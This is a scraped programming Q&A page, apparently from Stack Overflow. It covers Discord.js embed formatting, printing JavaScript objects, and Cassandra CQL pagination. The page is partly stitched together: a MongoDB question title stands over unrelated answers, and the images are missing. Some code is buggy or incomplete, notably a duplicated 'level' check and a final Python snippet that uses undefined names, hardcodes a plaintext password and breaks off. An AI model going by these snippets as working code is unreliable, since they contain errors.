How do I get this align? - node.js

I have been working on something and I want to be able to align this so it looks neat to the user and doesn't look stupid. Here is my current code I have been using to attempt to line it up however it doesn't work.
This is an image of what it looks like
due to my rep I cannot post images directly.
let serverArray = [];
for (let serverName of serverNamesUS) {
if (serverName.status < 0.75) {
serverName.format = "\t\t\tNormal";
} else if (serverName.status == 0.75) {
serverName.format = "\t\t\tCrowded";
} else if (serverName.status == 1.00) {
serverName.format = "\t\t\tFull";
}
serverArray.push(serverName.name + ":\t" + serverName.format + '\n');
}
console.log(serverArray);
let serverStatus = new Discord.RichEmbed()
.setAuthor("Current Server Statistics", client.user.displayAvatarURL)
.setColor(0xeeffee)
.addField("United States Server Respone", `\`\`\`ini\n${serverArray.toString().replace(/,/g, "")}\`\`\``)
.addField("Europe Server Respone", "a")
.addField("Asia Server Respone", "a");
msg.channel.send(serverStatus);

You could use .addField with inline flag.
.addField("United States Server", "USEast\nUSEast2\nUSEast3", true)
.addField("Respone", "Normal\nCrowded\nNormal", true);
I also recommend these visualizers to check:
https://leovoel.github.io/embed-visualizer/
https://cog-creators.github.io/discord-embed-sandbox/

Related

How do I get these properties to not be undefined when they're in an embed

const Discord = require('discord.js')
const prefix1 = '*add'
const prefix2 = '*what'
const prefix3 = '*remove'
const prefix4 = '*search'
const bot4 = new Discord.Client();
let a = []
let fakea = []
bot4.on('message', msg => {
if(msg.member.hasPermission('ADMINISTRATOR')){
if(msg.content.startsWith(prefix1)){
let splited = msg.content.split(' ')
let unchanged = msg.content.split(' ')
splited.splice('*info', 1)
splited.splice(msg.content[1], 1)
splited.splice(msg.content[2], 1)
let c = splited.join(' ')
b = {
namer: unchanged[1],
imformation: unchanged[2],
description: c
}
if(fakea.includes(unchanged[1])){
msg.channel.send('It already exists')
} else {
a.push(b)
fakea.push(unchanged[1])
}
console.log(a)
}
if(msg.content.startsWith(prefix3)){
let armay = msg.content.split(' ')
console.log(a)
console.log(fakea)
if(armay.length != 2){
msg.channel.send(`You have either less or more than two words. That either means you wrote *add on it's own or you had more than one word that you put with the command`)
} else {
if(!fakea.includes(armay[1])){
msg.channel.send(`That doesn't exist. You can't delete something that doesn't exist.`)
} else {
let fakeafind = fakea.find(plot => plot === armay[1])
let afind = a.find(plote => plote.namer === armay[1])
fakea.splice(fakeafind, 1)
a.splice(afind, 1)
}
console.log(a)
console.log(fakea)
}
}
if(msg.content.startsWith(prefix2)){
let coolon = fakea.join('\n')
let don = `_________\n[\n${coolon}\n]\n_________`
const notbot3embed = new Discord.MessageEmbed()
.setTitle('Everything you can search')
.setColor('15DD7C')
.addField('The things you can search', don)
msg.channel.send(notbot3embed)
}
if(msg.content.startsWith(prefix4)){
let mayi = msg.content.split(' ')
if(mayi.length != 2){
msg.channel.send(`You have either less or more than two words. That either means you wrote *search on it's own or you had more than one word that you put with the command`)
} else {
if(fakea.includes(mayi[1])){
let ft = a.filter(thing => thing.namer === mayi[1])
console.log(ft)
let secot = ft.namer
let thirt = ft.imformation
let fort = ft.description
const someembed = new Discord.MessageEmbed()
.setTitle(secot)
.setColor('FF4200')
.addField(thirt, fort)
msg.channel.send(someembed)
} else {
msg.channel.send('This is not a searchable term. Use *what to see the terms that are there.')
}
}
}
}
})
bot4.login(process.env.token4)
I wrote all of it because you would be confused about the properties if I didn't. In the last part I try to get the properties of the object with the name after '*search'. Then I want to put it an embed. Here's the problem I get. On the embed all three of the things say undefined. How do I fix this
If you're confused what I'm trying to do here's what I'm trying to do. I'm trying to make a system that you can put search things(I don't know how to frase it), remove them, check which ones exist and search something. Most of it is working. But in the search part it says for all of them in the embed undefined.
I found out that you need to use find instead of filter. Find works.

Getting an error while saving JSON in to mongodb [duplicate]

How do I display the content of a JavaScript object in a string format like when we alert a variable?
The same formatted way I want to display an object.
Use native JSON.stringify method.
Works with nested objects and all major browsers support this method.
str = JSON.stringify(obj);
str = JSON.stringify(obj, null, 4); // (Optional) beautiful indented output.
console.log(str); // Logs output to dev tools console.
alert(str); // Displays output using window.alert()
Link to Mozilla API Reference and other examples.
obj = JSON.parse(str); // Reverses above operation (Just in case if needed.)
Use a custom JSON.stringify replacer if you
encounter this Javascript error
"Uncaught TypeError: Converting circular structure to JSON"
If you want to print the object for debugging purposes, use the code:
var obj = {
prop1: 'prop1Value',
prop2: 'prop2Value',
child: {
childProp1: 'childProp1Value',
},
}
console.log(obj)
will display:
Note: you must only log the object. For example, this won't work:
console.log('My object : ' + obj)
Note ': You can also use a comma in the log method, then the first line of the output will be the string and after that, the object will be rendered:
console.log('My object: ', obj);
var output = '';
for (var property in object) {
output += property + ': ' + object[property]+'; ';
}
alert(output);
console.dir(object):
Displays an interactive listing of the properties of a specified JavaScript object. This listing lets you use disclosure triangles to examine the contents of child objects.
Note that the console.dir() feature is non-standard. See MDN Web Docs
Try this:
console.log(JSON.stringify(obj))
This will print the stringify version of object. So instead of [object] as an output you will get the content of object.
Well, Firefox (thanks to #Bojangles for detailed information) has Object.toSource() method which prints objects as JSON and function(){}.
That's enough for most debugging purposes, I guess.
If you want to use alert, to print your object, you can do this:
alert("myObject is " + myObject.toSource());
It should print each property and its corresponding value in string format.
If you would like to see data in tabular format you can use:
console.table(obj);
Table can be sorted if you click on the table column.
You can also select what columns to show:
console.table(obj, ['firstName', 'lastName']);
You can find more information about console.table here
Function:
var print = function(o){
var str='';
for(var p in o){
if(typeof o[p] == 'string'){
str+= p + ': ' + o[p]+'; </br>';
}else{
str+= p + ': { </br>' + print(o[p]) + '}';
}
}
return str;
}
Usage:
var myObject = {
name: 'Wilson Page',
contact: {
email: 'wilson#hotmail.com',
tel: '123456789'
}
}
$('body').append( print(myObject) );
Example:
http://jsfiddle.net/WilsonPage/6eqMn/
In NodeJS you can print an object by using util.inspect(obj). Be sure to state the depth or you'll only have a shallow print of the object.
Simply use
JSON.stringify(obj)
Example
var args_string = JSON.stringify(obj);
console.log(args_string);
Or
alert(args_string);
Also, note in javascript functions are considered as objects.
As an extra note :
Actually you can assign new property like this and access it console.log or display it in alert
foo.moo = "stackoverflow";
console.log(foo.moo);
alert(foo.moo);
To print the full object with Node.js with colors as a bonus:
console.dir(object, {depth: null, colors: true})
Colors are of course optional, 'depth: null' will print the full object.
The options don't seem to be supported in browsers.
References:
https://developer.mozilla.org/en-US/docs/Web/API/Console/dir
https://nodejs.org/api/console.html#console_console_dir_obj_options
NB:
In these examples, yourObj defines the object you want to examine.
First off my least favorite yet most utilized way of displaying an object:
This is the defacto way of showing the contents of an object
console.log(yourObj)
will produce something like :
I think the best solution is to look through the Objects Keys, and then through the Objects Values if you really want to see what the object holds...
console.log(Object.keys(yourObj));
console.log(Object.values(yourObj));
It will output something like :
(pictured above: the keys/values stored in the object)
There is also this new option if you're using ECMAScript 2016 or newer:
Object.keys(yourObj).forEach(e => console.log(`key=${e} value=${yourObj[e]}`));
This will produce neat output :
The solution mentioned in a previous answer: console.log(yourObj) displays too many parameters and is not the most user friendly way to display the data you want. That is why I recommend logging keys and then values separately.
Next up :
console.table(yourObj)
Someone in an earlier comment suggested this one, however it never worked for me. If it does work for someone else on a different browser or something, then kudos! Ill still put the code here for reference!
Will output something like this to the console :
Here's a way to do it:
console.log("%o", obj);
Use this:
console.log('print object: ' + JSON.stringify(session));
As it was said before best and most simply way i found was
var getPrintObject=function(object)
{
return JSON.stringify(object);
}
(This has been added to my library at GitHub)
Reinventing the wheel here! None of these solutions worked for my situation. So, I quickly doctored up wilsonpage's answer. This one is not for printing to screen (via console, or textfield or whatever). It does work fine in those situations and works just fine as the OP requested, for alert. Many answers here do not address using alert as the OP requested. Anyhow, It is, however, formatted for data transport. This version seems to return a very similar result as toSource(). I've not tested against JSON.stringify, but I assume this is about the same thing. This version is more like a poly-fil so that you can use it in any environment. The result of this function is a valid Javascript object declaration.
I wouldn't doubt if something like this was already on SO somewhere, but it was just shorter to make it than to spend a while searching past answers. And since this question was my top hit on google when I started searching about this; I figured putting it here might help others.
Anyhow, the result from this function will be a string representation of your object, even if your object has embedded objects and arrays, and even if those objects or arrays have even further embedded objects and arrays. (I heard you like to drink? So, I pimped your car with a cooler. And then, I pimped your cooler with a cooler. So, your cooler can drink, while your being cool.)
Arrays are stored with [] instead of {} and thus dont have key/value pairs, just values. Like regular arrays. Therefore, they get created like arrays do.
Also, all string (including key names) are quoted, this is not necessary unless those strings have special characters (like a space or a slash). But, I didn't feel like detecting this just to remove some quotes that would otherwise still work fine.
This resulting string can then be used with eval or just dumping it into a var thru string manipulation. Thus, re-creating your object again, from text.
function ObjToSource(o){
if (!o) return 'null';
var k="",na=typeof(o.length)=="undefined"?1:0,str="";
for(var p in o){
if (na) k = "'"+p+ "':";
if (typeof o[p] == "string") str += k + "'" + o[p]+"',";
else if (typeof o[p] == "object") str += k + ObjToSource(o[p])+",";
else str += k + o[p] + ",";
}
if (na) return "{"+str.slice(0,-1)+"}";
else return "["+str.slice(0,-1)+"]";
}
Let me know if I messed it all up, works fine in my testing. Also, the only way I could think of to detect type array was to check for the presence of length. Because Javascript really stores arrays as objects, I cant actually check for type array (there is no such type!). If anyone else knows a better way, I would love to hear it. Because, if your object also has a property named length then this function will mistakenly treat it as an array.
EDIT: Added check for null valued objects. Thanks Brock Adams
EDIT: Below is the fixed function to be able to print infinitely recursive objects. This does not print the same as toSource from FF because toSource will print the infinite recursion one time, where as, this function will kill it immediately. This function runs slower than the one above, so I'm adding it here instead of editing the above function, as its only needed if you plan to pass objects that link back to themselves, somewhere.
const ObjToSource=(o)=> {
if (!o) return null;
let str="",na=0,k,p;
if (typeof(o) == "object") {
if (!ObjToSource.check) ObjToSource.check = new Array();
for (k=ObjToSource.check.length;na<k;na++) if (ObjToSource.check[na]==o) return '{}';
ObjToSource.check.push(o);
}
k="",na=typeof(o.length)=="undefined"?1:0;
for(p in o){
if (na) k = "'"+p+"':";
if (typeof o[p] == "string") str += k+"'"+o[p]+"',";
else if (typeof o[p] == "object") str += k+ObjToSource(o[p])+",";
else str += k+o[p]+",";
}
if (typeof(o) == "object") ObjToSource.check.pop();
if (na) return "{"+str.slice(0,-1)+"}";
else return "["+str.slice(0,-1)+"]";
}
Test:
var test1 = new Object();
test1.foo = 1;
test1.bar = 2;
var testobject = new Object();
testobject.run = 1;
testobject.fast = null;
testobject.loop = testobject;
testobject.dup = test1;
console.log(ObjToSource(testobject));
console.log(testobject.toSource());
Result:
{'run':1,'fast':null,'loop':{},'dup':{'foo':1,'bar':2}}
({run:1, fast:null, loop:{run:1, fast:null, loop:{}, dup:{foo:1, bar:2}}, dup:{foo:1, bar:2}})
NOTE: Trying to print document.body is a terrible example. For one, FF just prints an empty object string when using toSource. And when using the function above, FF crashes on SecurityError: The operation is insecure.. And Chrome will crash on Uncaught RangeError: Maximum call stack size exceeded. Clearly, document.body was not meant to be converted to string. Because its either too large, or against security policy to access certain properties. Unless, I messed something up here, do tell!
If you would like to print the object of its full length, can use
console.log(require('util').inspect(obj, {showHidden: false, depth: null})
If you want to print the object by converting it to the string then
console.log(JSON.stringify(obj));
I needed a way to recursively print the object, which pagewil's answer provided (Thanks!). I updated it a little bit to include a way to print up to a certain level, and to add spacing so that it is properly indented based on the current level that we are in so that it is more readable.
// Recursive print of object
var print = function( o, maxLevel, level ) {
if ( typeof level == "undefined" ) {
level = 0;
}
if ( typeof level == "undefined" ) {
maxLevel = 0;
}
var str = '';
// Remove this if you don't want the pre tag, but make sure to remove
// the close pre tag on the bottom as well
if ( level == 0 ) {
str = '<pre>';
}
var levelStr = '';
for ( var x = 0; x < level; x++ ) {
levelStr += ' ';
}
if ( maxLevel != 0 && level >= maxLevel ) {
str += levelStr + '...</br>';
return str;
}
for ( var p in o ) {
if ( typeof o[p] == 'string' ) {
str += levelStr +
p + ': ' + o[p] + ' </br>';
} else {
str += levelStr +
p + ': { </br>' + print( o[p], maxLevel, level + 1 ) + levelStr + '}</br>';
}
}
// Remove this if you don't want the pre tag, but make sure to remove
// the open pre tag on the top as well
if ( level == 0 ) {
str += '</pre>';
}
return str;
};
Usage:
var pagewilsObject = {
name: 'Wilson Page',
contact: {
email: 'wilson#hotmail.com',
tel: '123456789'
}
}
// Recursive of whole object
$('body').append( print(pagewilsObject) );
// Recursive of myObject up to 1 level, will only show name
// and that there is a contact object
$('body').append( print(pagewilsObject, 1) );
You can also use ES6 template literal concept to display the content of a JavaScript object in a string format.
alert(`${JSON.stringify(obj)}`);
const obj = {
"name" : "John Doe",
"habbits": "Nothing",
};
alert(`${JSON.stringify(obj)}`);
I always use console.log("object will be: ", obj, obj1).
this way I don't need to do the workaround with stringify with JSON.
All the properties of the object will be expanded nicely.
Another way of displaying objects within the console is with JSON.stringify. Checkout the below example:
var gandalf = {
"real name": "Gandalf",
"age (est)": 11000,
"race": "Maia",
"haveRetirementPlan": true,
"aliases": [
"Greyhame",
"Stormcrow",
"Mithrandir",
"Gandalf the Grey",
"Gandalf the White"
]
};
//to console log object, we cannot use console.log("Object gandalf: " + gandalf);
console.log("Object gandalf: ");
//this will show object gandalf ONLY in Google Chrome NOT in IE
console.log(gandalf);
//this will show object gandalf IN ALL BROWSERS!
console.log(JSON.stringify(gandalf));
//this will show object gandalf IN ALL BROWSERS! with beautiful indent
console.log(JSON.stringify(gandalf, null, 4));
Javascript Function
<script type="text/javascript">
function print_r(theObj){
if(theObj.constructor == Array || theObj.constructor == Object){
document.write("<ul>")
for(var p in theObj){
if(theObj[p].constructor == Array || theObj[p].constructor == Object){
document.write("<li>["+p+"] => "+typeof(theObj)+"</li>");
document.write("<ul>")
print_r(theObj[p]);
document.write("</ul>")
} else {
document.write("<li>["+p+"] => "+theObj[p]+"</li>");
}
}
document.write("</ul>")
}
}
</script>
Printing Object
<script type="text/javascript">
print_r(JAVACRIPT_ARRAY_OR_OBJECT);
</script>
via print_r in Javascript
var list = function(object) {
for(var key in object) {
console.log(key);
}
}
where object is your object
or you can use this in chrome dev tools, "console" tab:
console.log(object);
Assume object obj = {0:'John', 1:'Foo', 2:'Bar'}
Print object's content
for (var i in obj){
console.log(obj[i], i);
}
Console output (Chrome DevTools) :
John 0
Foo 1
Bar 2
Hope that helps!
I prefer using console.table for getting clear object format, so imagine you have this object:
const obj = {name: 'Alireza', family: 'Dezfoolian', gender: 'male', netWorth: "$0"};
And you will you see a neat and readable table like this below:
Circular references solution
To make string without redundant information from object which contains duplicate references (references to same object in many places) including circular references, use JSON.stringify with replacer (presented in snippet) as follows
let s = JSON.stringify(obj, refReplacer(), 4);
function refReplacer() {
let m = new Map(), v= new Map(), init = null;
return function(field, value) {
let p= m.get(this) + (Array.isArray(this) ? `[${field}]` : '.' + field);
let isComplex= value===Object(value)
if (isComplex) m.set(value, p);
let pp = v.get(value)||'';
let path = p.replace(/undefined\.\.?/,'');
let val = pp ? `#REF:${pp[0]=='[' ? '$':'$.'}${pp}` : value;
!init ? (init=value) : (val===init ? val="#REF:$" : 0);
if(!pp && isComplex) v.set(value, path);
return val;
}
}
// ---------------
// TEST
// ---------------
// gen obj with duplicate references
let a = { a1: 1, a2: 2 };
let b = { b1: 3, b2: "4" };
let obj = { o1: { o2: a }, b, a }; // duplicate reference
a.a3 = [1,2,b]; // circular reference
b.b3 = a; // circular reference
let s = JSON.stringify(obj, refReplacer(), 4);
console.log(s);
alert(s);
This solution based on this (more info there) create JSONPath like path for each object value and if same object occurs twice (or more) it uses reference with this path to reference that object e.g. #REF:$.bar.arr[3].foo (where $ means main object) instead 'render' whole object (which is less redundant)
BONUS: inversion
function parseRefJSON(json) {
let objToPath = new Map();
let pathToObj = new Map();
let o = JSON.parse(json);
let traverse = (parent, field) => {
let obj = parent;
let path = '#REF:$';
if (field !== undefined) {
obj = parent[field];
path = objToPath.get(parent) + (Array.isArray(parent) ? `[${field}]` : `${field?'.'+field:''}`);
}
objToPath.set(obj, path);
pathToObj.set(path, obj);
let ref = pathToObj.get(obj);
if (ref) parent[field] = ref;
for (let f in obj) if (obj === Object(obj)) traverse(obj, f);
}
traverse(o);
return o;
}
// ------------
// TEST
// ------------
let s = `{
"o1": {
"o2": {
"a1": 1,
"a2": 2,
"a3": [
1,
2,
{
"b1": 3,
"b2": "4",
"b3": "#REF:$.o1.o2"
}
]
}
},
"b": "#REF:$.o1.o2.a3[2]",
"a": "#REF:$.o1.o2"
}`;
console.log('Open Chrome console to see nested fields');
let obj = parseRefJSON(s);
console.log(obj);
A little helper function I always use in my projects for simple, speedy debugging via the console.
Inspiration taken from Laravel.
/**
* #param variable mixed The var to log to the console
* #param varName string Optional, will appear as a label before the var
*/
function dd(variable, varName) {
var varNameOutput;
varName = varName || '';
varNameOutput = varName ? varName + ':' : '';
console.warn(varNameOutput, variable, ' (' + (typeof variable) + ')');
}
Usage
dd(123.55); outputs:
var obj = {field1: 'xyz', field2: 2016};
dd(obj, 'My Cool Obj');
The console.log() does a great job of debugging objects, but if you are looking to print the object to the page content, here's the simplest way that I've come up with to mimic the functionality of PHP's print_r(). A lot these other answers want to reinvent the wheel, but between JavaScript's JSON.stringify() and HTML's <pre> tag, you get exactly what you are looking for.
var obj = { name: 'The Name', contact: { email: 'thename#gmail.com', tel: '123456789' }};
$('body').append('<pre>'+JSON.stringify(obj, null, 4)+'</pre>');
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
i used pagewil's print method, and it worked very nicely.
here is my slightly extended version with (sloppy) indents and distinct prop/ob delimiters:
var print = function(obj, delp, delo, ind){
delp = delp!=null ? delp : "\t"; // property delimeter
delo = delo!=null ? delo : "\n"; // object delimeter
ind = ind!=null ? ind : " "; // indent; ind+ind geometric addition not great for deep objects
var str='';
for(var prop in obj){
if(typeof obj[prop] == 'string' || typeof obj[prop] == 'number'){
var q = typeof obj[prop] == 'string' ? "" : ""; // make this "'" to quote strings
str += ind + prop + ': ' + q + obj[prop] + q + '; ' + delp;
}else{
str += ind + prop + ': {'+ delp + print(obj[prop],delp,delo,ind+ind) + ind + '}' + delo;
}
}
return str;
};

Results pagination in Cassandra (CQL)

I am wondering how can I achieve pagination using Cassandra.
Let us say that I have a blog. The blog lists max 10 posts per page. To access next posts a user must click on pagination menu to access page 2 (posts 11-20), page 3 (posts 21-30), etc.
Using SQL under MySQL, I could do the following:
SELECT * FROM posts LIMIT 20,10;
The first parameter of LIMIT is offset from the beginning of result set and second argument is amount of rows to fetch. The example above returns 10 rows starting from row 20.
How can I achieve the same effect in CQL?
I have found some solutions on Google, but all of them require to have "the last result from previous query". It works for having "next" button to paginate to another 10-results-set, but what if I want to jump from page 1 to page 5?
You don't need to use tokens, if you are using Cassandra 2.0+.
Cassandra 2.0 has auto paging.
Instead of using token function to create paging, it is now a built-in feature.
Now developers can iterate over the entire result set, without having to care that it’s size is larger than the memory. As the client code iterates over the results, some extra rows can be fetched, while old ones are dropped.
Looking at this in Java, note that SELECT statement returns all rows, and the number of rows retrieved is set to 100.
I’ve shown a simple statement here, but the same code can be written with a prepared statement, couple with a bound statement. It is possible to disable automatic paging, if it is not desired. It is also important to test various fetch size settings, since you will want to keep the memorize small enough, but not so small that too many round-trips to the database are taken. Check out this blog post to see how paging works server side.
Statement stmt = new SimpleStatement(
"SELECT * FROM raw_weather_data"
+ " WHERE wsid= '725474:99999'"
+ " AND year = 2005 AND month = 6");
stmt.setFetchSize(24);
ResultSet rs = session.execute(stmt);
Iterator<Row> iter = rs.iterator();
while (!rs.isFullyFetched()) {
rs.fetchMoreResults();
Row row = iter.next();
System.out.println(row);
}
Try using the token function in CQL:
https://docs.datastax.com/en/cql-oss/3.3/cql/cql_using/useToken.html
Another suggestion, if you are using DSE, solr supports deep paging:
https://cwiki.apache.org/confluence/display/solr/Pagination+of+Results
Manual Paging
The driver exposes a PagingState object that represents where we were in the result set when the last page was fetched:
ResultSet resultSet = session.execute("your query");
// iterate the result set...
PagingState pagingState = resultSet.getExecutionInfo().getPagingState();
This object can be serialized to a String or a byte array:
String string = pagingState.toString();
byte[] bytes = pagingState.toBytes();
This serialized form can be saved in some form of persistent storage to be reused later. When that value is retrieved later, we can deserialize it and reinject it in a statement:
PagingState pagingState = PagingState.fromString(string);
Statement st = new SimpleStatement("your query");
st.setPagingState(pagingState);
ResultSet rs = session.execute(st);
Note that the paging state can only be reused with the exact same statement (same query string, same parameters). Also, it is an opaque value that is only meant to be collected, stored an re-used. If you try to modify its contents or reuse it with a different statement, the driver will raise an error.
Src: https://docs.datastax.com/en/cql-oss/3.3/cql/cql_reference/cqlshPaging.html
If you read this doc "Use paging state token to get next result",
https://datastax.github.io/php-driver/features/result_paging/
We can use "paging state token" to paginate at application level.
So PHP logic should look like,
<?php
$limit = 10;
$offset = 20;
$cluster = Cassandra::cluster()->withContactPoints('127.0.0.1')->build();
$session = $cluster->connect("simplex");
$statement = new Cassandra\SimpleStatement("SELECT * FROM paging_entries Limit ".($limit+$offset));
$result = $session->execute($statement, new Cassandra\ExecutionOptions(array('page_size' => $offset)));
// Now $result has all rows till "$offset" which we can skip and jump to next page to fetch "$limit" rows.
while ($result->pagingStateToken()) {
$result = $session->execute($statement, new Cassandra\ExecutionOptions($options = array('page_size' => $limit,'paging_state_token' => $result->pagingStateToken())));
foreach ($result as $row) {
printf("key: '%s' value: %d\n", $row['key'], $row['value']);
}
}
?>
Although the count is available in CQL, so far I have not seen a good solution for the offset part...
So... one solution I have been contemplating was to create sets of pages using a background process.
In some table, I would create the blog page A as a set of references to page 1, 2, ... 10. Then another entry for blog page B pointing to pages 11 to 20, etc.
In other words, I would build my own index with a row key set to the page number. You may still make it somewhat flexible since you can offer the user to choose to see 10, 20 or 30 references per page. For example, when set to 30, you display sets 1, 2, and 3 as page A, sets 4, 5, 6 as page B, etc.)
And if you have a backend process to handle all of that, you can update your lists as new pages are added and old pages are deleted from the blog. The process should be really fast (like 1 min. for 1,000,000 rows if even that slow...) and then you can find the pages to display in your list pretty much instantaneously. (Obviously, if you are to have thousands of users each posting hundreds of pages... that number can grow quickly.)
Where it becomes more complicated is if you wanted to offer a complex WHERE clause. By default a blog shows you a list of all the posts from the newest to the oldest. You could also offer lists of posts with tag Cassandra. Maybe you want to inverse the order, etc. That makes it difficult unless you have some form of advanced way to create your index(es). On my end I have a C-like language which goes and peek and poke to the values in a row to (a) select them and if selected (b) to sort them. In other words, on my end I can already have WHERE clauses as complex as what you'd have in SQL. However, I do not yet break up my lists in pages. Next step I suppose...
Using cassandra-node driver for node js (koa js,marko js) : Pagination
Problem
Due to the absence of skip functionality, we need to work around. Below is the implementation of manual paging for node app in case of anyone can get an idea.
code for simple users list
navigate between next and previous page states
easy to replicate
There are two solutions which i am going to state here but only gave the code for solution 1 below,
Solution 1 : Maintain page states for next and previous records (maintain stack or whatever data structure best fit)
Solution 2 : Loop through all records with limit and save all possible page states in variable and generate pages relatively to their pageStates
Using this commented code in model, we can get all states for pages
//for the next flow
//if (result.nextPage) {
// Retrieve the following pages:
// the same row handler from above will be used
// result.nextPage();
//}
Router Functions
var userModel = require('/models/users');
public.get('/users', users);
public.post('/users', filterUsers);
var users = function* () {//get request
var data = {};
var pageState = { "next": "", "previous": "" };
try {
var userCount = yield userModel.Count();//count all users with basic count query
var currentPage = 1;
var pager = yield generatePaging(currentPage, userCount, pagingMaxLimit);
var userList = yield userModel.List(pager);
data.pageNumber = currentPage;
data.TotalPages = pager.TotalPages;
console.log('--------------what now--------------');
data.pageState_next = userList.pageStates.next;
data.pageState_previous = userList.pageStates.previous;
console.log("next ", data.pageState_next);
console.log("previous ", data.pageState_previous);
data.previousStates = null;
data.isPrevious = false;
if ((userCount / pagingMaxLimit) > 1) {
data.isNext = true;
}
data.userList = userList;
data.totalRecords = userCount;
console.log('--------------------userList--------------------', data.userList);
//pass to html template
}
catch (e) {
console.log("err ", e);
log.info("userList error : ", e);
}
this.body = this.stream('./views/userList.marko', data);
this.type = 'text/html';
};
//post filter and get list
var filterUsers = function* () {
console.log("<------------------Form Post Started----------------->");
var data = {};
var totalCount;
data.isPrevious = true;
data.isNext = true;
var form = this.request.body;
console.log("----------------formdata--------------------", form);
var currentPage = parseInt(form.hdpagenumber);//page number hidden in html
console.log("-------before current page------", currentPage);
var pageState = null;
try {
var statesArray = [];
if (form.hdallpageStates && form.hdallpageStates !== '') {
statesArray = form.hdallpageStates.split(',');
}
console.log(statesArray);
//develop stack to track paging states
if (form.hdpagestateRequest === 'next') {
console.log('--------------------------next---------------------');
currentPage = currentPage + 1;
statesArray.push(form.hdpageState_next);
pageState = form.hdpageState_next;
}
else if (form.hdpagestateRequest === 'previous') {
console.log('--------------------------pre---------------------');
currentPage = currentPage - 1;
var p_st = statesArray.length - 2;//second last index
console.log('this index of array to be removed ', p_st);
pageState = statesArray[p_st];
statesArray.splice(p_st, 1);
//pageState = statesArray.pop();
}
else if (form.hdispaging === 'false') {
currentPage = 1;
pageState = null;
statesArray = [];
}
data.previousStates = statesArray;
console.log("paging true");
totalCount = yield userModel.Count();
var pager = yield generatePaging(form.hdpagenumber, totalCount, pagingMaxLimit);
data.pageNumber = currentPage;
data.TotalPages = pager.TotalPages;
//filter function - not yet constructed
var searchUsers = yield userModel.searchList(pager, pageState);
data.usersList = searchUsers;
if (searchUsers.pageStates) {
data.pageStates = searchUsers.pageStates;
data.next = searchUsers.nextPage;
data.pageState_next = searchUsers.pageStates.next;
data.pageState_previous = searchUsers.pageStates.previous;
//show previous and next buttons accordingly
if (currentPage == 1 && pager.TotalPages > 1) {
data.isPrevious = false;
data.isNext = true;
}
else if (currentPage == 1 && pager.TotalPages <= 1) {
data.isPrevious = false;
data.isNext = false;
}
else if (currentPage >= pager.TotalPages) {
data.isPrevious = true;
data.isNext = false;
}
else {
data.isPrevious = true;
data.isNext = true;
}
}
else {
data.isPrevious = false;
data.isNext = false;
}
console.log("response ", searchUsers);
data.totalRecords = totalCount;
//pass to html template
}
catch (e) {
console.log("err ", e);
log.info("user list error : ", e);
}
console.log("<------------------Form Post Ended----------------->");
this.body = this.stream('./views/userList.marko', data);
this.type = 'text/html';
};
//Paging function
var generatePaging = function* (currentpage, count, pageSizeTemp) {
var paging = new Object();
var pagesize = pageSizeTemp;
var totalPages = 0;
var pageNo = currentpage == null ? null : currentpage;
var skip = pageNo == null ? 0 : parseInt(pageNo - 1) * pagesize;
var pageNumber = pageNo != null ? pageNo : 1;
totalPages = pagesize == null ? 0 : Math.ceil(count / pagesize);
paging.skip = skip;
paging.limit = pagesize;
paging.pageNumber = pageNumber;
paging.TotalPages = totalPages;
return paging;
};
Model Functions
var clientdb = require('../utils/cassandradb')();
var Users = function (options) {
//this.init();
_.assign(this, options);
};
Users.List = function* (limit) {//first time
var myresult; var res = [];
res.pageStates = { "next": "", "previous": "" };
const options = { prepare: true, fetchSize: limit };
console.log('----------did i appeared first?-----------');
yield new Promise(function (resolve, reject) {
clientdb.eachRow('SELECT * FROM users_lookup_history', [], options, function (n, row) {
console.log('----paging----rows');
res.push(row);
}, function (err, result) {
if (err) {
console.log("error ", err);
}
else {
res.pageStates.next = result.pageState;
res.nextPage = result.nextPage;//next page function
}
resolve(result);
});
}).catch(function (e) {
console.log("error ", e);
}); //promise ends
console.log('page state ', res.pageStates);
return res;
};
Users.searchList = function* (pager, pageState) {//paging filtering
console.log("|------------Query Started-------------|");
console.log("pageState if any ", pageState);
var res = [], myresult;
res.pageStates = { "next": "" };
var query = "SELECT * FROM users_lookup_history ";
var params = [];
console.log('current pageState ', pageState);
const options = { pageState: pageState, prepare: true, fetchSize: pager.limit };
console.log('----------------did i appeared first?------------------');
yield new Promise(function (resolve, reject) {
clientdb.eachRow(query, [], options, function (n, row) {
console.log('----Users paging----rows');
res.push(row);
}, function (err, result) {
if (err) {
console.log("error ", err);
}
else {
res.pageStates.next = result.pageState;
res.nextPage = result.nextPage;
}
//for the next flow
//if (result.nextPage) {
// Retrieve the following pages:
// the same row handler from above will be used
// result.nextPage();
//}
resolve(result);
});
}).catch(function (e) {
console.log("error ", e);
info.log('something');
}); //promise ends
console.log('page state ', pageState);
console.log("|------------Query Ended-------------|");
return res;
};
Html side
<div class="box-footer clearfix">
<ul class="pagination pagination-sm no-margin pull-left">
<if test="data.isPrevious == true">
<li><a class='submitform_previous' href="">Previous</a></li>
</if>
<if test="data.isNext == true">
<li><a class="submitform_next" href="">Next</a></li>
</if>
</ul>
<ul class="pagination pagination-sm no-margin pull-right">
<li>Total Records : $data.totalRecords</li>
<li> | Total Pages : $data.TotalPages</li>
<li> | Current Page : $data.pageNumber</li>
</ul>
</div>
I am not very much experienced with node js and cassandra db, this solution can surely be improved. Solution 1 is working example code to start with the paging idea. Cheers
a detailed blog.
Our use case was similar. Pull everything from a Cassandra table (cassandra does it smartly by fetching ~5000 in one go and return a cursor), heavy personalized processing on each row, and keep going. Once our iteration reaches close to 5000, it again fetches the next chunk of 5000 rows internally and adds it to the result cursor. It does it so brilliantly that we don’t even feel this magic happening behind the scene.
but It became a bottleneck for us.As iterating over the chunk took some time and till it reached the end of the chunk, Cassandra thought the connection was not being used and closed the connection automatically yelling, its timeout. So we implemented with page state.
from cassandra.cluster import Cluster
from cassandra.auth import PlainTextAuthProvider
from cassandra.query import SimpleStatement
# connection with cassandra
cluster = Cluster(["127.0.0.1"], auth_provider=PlainTextAuthProvider(username="pankaj", password="pankaj"))
session = cluster.connect()
# setting keyspace
session.set_keyspace("my_keyspace")
# set fetch size
fetch_size = 100
# It will print first 100 records
next_page_available = True
paging_state     = None
data_count     = 0
while next_page_available is True:
# fetches a new chunk with given page state
result = fetch_a_fresh_chunk(paging_state)
paging_state = results.paging_state
for result in results:
# process payload here.....
# payload processed
data_count += 1
# once we reach fetch size, we stop cassandra to fetch more chunk, internally
if data_count == fetch_size:
i = 0
break
# fetches a fresh chunk with given page state
def fetch_a_fresh_chunk(paging_state = None)
